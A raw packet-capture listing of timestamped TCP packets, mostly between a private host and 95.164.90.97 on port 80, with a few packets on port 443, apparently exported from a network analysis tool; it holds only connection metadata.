Oct 7, 2024 18:00:49.874639988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874651909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874665022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874670029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874684095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874697924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874702930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874716997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874725103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874753952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.874938011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874949932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874955893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874965906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874977112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874986887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.874998093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875010967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875016928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875025988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875036001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875044107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875056982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875067949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875076056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875086069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875094891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875104904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875114918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875123024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875133038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875161886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875380039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875403881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875416040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875427008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875441074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875447035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875459909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875472069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875478983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875489950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875498056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875508070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875526905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875536919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875544071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875555992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875565052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875574112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875581026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875591040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875598907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875611067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875617981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875629902 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875638962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875650883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875659943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875669956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875679016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875695944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875701904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875711918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875719070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875729084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875736952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875751972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875757933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875767946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875773907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875782013 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875794888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875808954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875813961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875828981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875833988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875844955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875854015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875864029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875871897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875881910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.875889063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875901937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.875919104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876283884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876300097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876311064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876326084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876332998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876344919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876349926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876363039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876372099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876384974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876395941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876404047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876414061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876432896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876441956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876449108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876468897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876480103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876487970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876502037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876507044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876517057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876527071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876538038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876543999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876557112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876564980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876574993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876583099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876594067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876602888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876612902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876620054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876629114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876638889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876652956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876658916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876669884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876677036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876686096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876693964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876713037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876722097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876729012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876739025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876749992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876760960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876771927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876780033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876792908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.876801014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876822948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.876843929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.877240896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.877253056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.877263069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.877278090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.877285957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.877295971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.877305031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.877315998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.877331018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.877338886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.877352953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.877358913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.877370119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.877377033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.877388000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.877394915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.877410889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.877424955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.946290970 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.947773933 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.947796106 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.948739052 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.948750019 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.954175949 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.954879045 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.954900980 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.955794096 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:49.955799103 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:49.956041098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956084967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956103086 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956113100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956123114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956134081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956155062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956173897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956197023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956211090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956242085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956315994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956352949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956501007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956511021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956516981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956522942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956528902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956588030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956724882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956736088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956748009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956762075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956767082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956779957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956785917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956795931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956804991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956815958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956830025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956837893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956847906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956862926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956868887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956880093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956896067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956907034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956912994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956918955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.956938982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.956980944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957005978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957015991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957026958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957037926 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957045078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957058907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957068920 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957096100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957132101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957142115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957151890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957165956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957175970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957191944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957206011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957218885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957226992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957243919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957257032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957269907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957269907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957278967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957290888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957299948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957308054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957318068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957329035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957339048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957362890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957577944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957588911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957600117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957611084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957618952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957629919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957639933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957645893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957655907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957668066 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957678080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957689047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957696915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957707882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957717896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957726002 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957736015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957742929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957756042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.957772970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957797050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.957990885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958002090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958017111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958029032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958036900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958048105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958055019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958064079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958076000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958086967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958100080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958105087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958115101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958122015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958131075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958142042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958149910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958159924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958168030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958183050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958192110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958201885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958213091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958220959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958229065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958237886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958255053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958264112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958282948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958300114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958473921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958484888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958502054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958514929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958522081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958533049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958544016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958550930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958563089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958570004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958580017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958590984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958600998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958614111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958620071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958630085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958637953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958648920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958655119 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958664894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958673954 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958683968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958698988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958707094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958748102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958755016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958775043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958787918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958822966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958920002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958940029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958951950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958960056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.958969116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.958986044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959007978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959053040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959064007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959074974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959086895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959096909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959110022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959126949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959142923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959300041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959311008 CEST	80	49831	95.164.90.97	192.168.2.5
